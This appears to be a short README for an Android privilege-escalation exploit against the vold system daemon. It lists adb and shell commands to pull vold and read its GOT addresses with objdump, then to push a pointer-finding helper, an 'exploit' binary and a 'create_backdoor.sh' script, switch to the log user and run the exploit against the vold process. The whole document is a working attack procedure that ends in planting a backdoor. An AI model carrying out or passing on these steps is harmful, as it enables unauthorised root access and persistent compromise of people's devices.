Step by step instruction

Get GOT Address

1. ***[sdk_root_dir]/platform-tools/adb pull /system/bin/vold ~/tmp/***
2. ***[ndk_root_dir]/toolchains/arm-linux-androideabi-4.9/prebuild/darwin-86_64/bin/arm-linux-androideabi-objdump –R ~/tmp/vold***

Get Pointer Address

1. ***[sdk_root_dir]/platform-tools/adb push [dir]/find_pointer_address.out /data/local/tmp/find_pointer_address***
2. ***[sdk_root_dir]/platform-tools/adb shell***
3. ***cd /data/local***
4. ***chown log.log tmp***
5. ***cd tmp***
6. ***chmod 755 find_pointer_address***
7. ***su log***
8. ***ps***
9. ***./find_pointer_address [vold_process_id]***

Run Exploit

1. ***[sdk_root_dir]/platform-tools/adb push [dir]/exploit.out /data/local/tmp/exploit***
2. ***[sdk_root_dir]/platform-tools/adb push [dir]/create_backdoor.sh /data/local/tmp/***
3. ***[sdk_root_dir]/platform-tools/adb shell***
4. ***cd /data/local/tmp***
5. ***chmod 755 exploit***
6. ***chmod 755 create_backdoor.sh***
7. ***su log***
8. ***ps***
9. ***./exploit [GOT_ADDRESS] [POINTER_ADDRESS] [VOLD_PROCESS_ID]***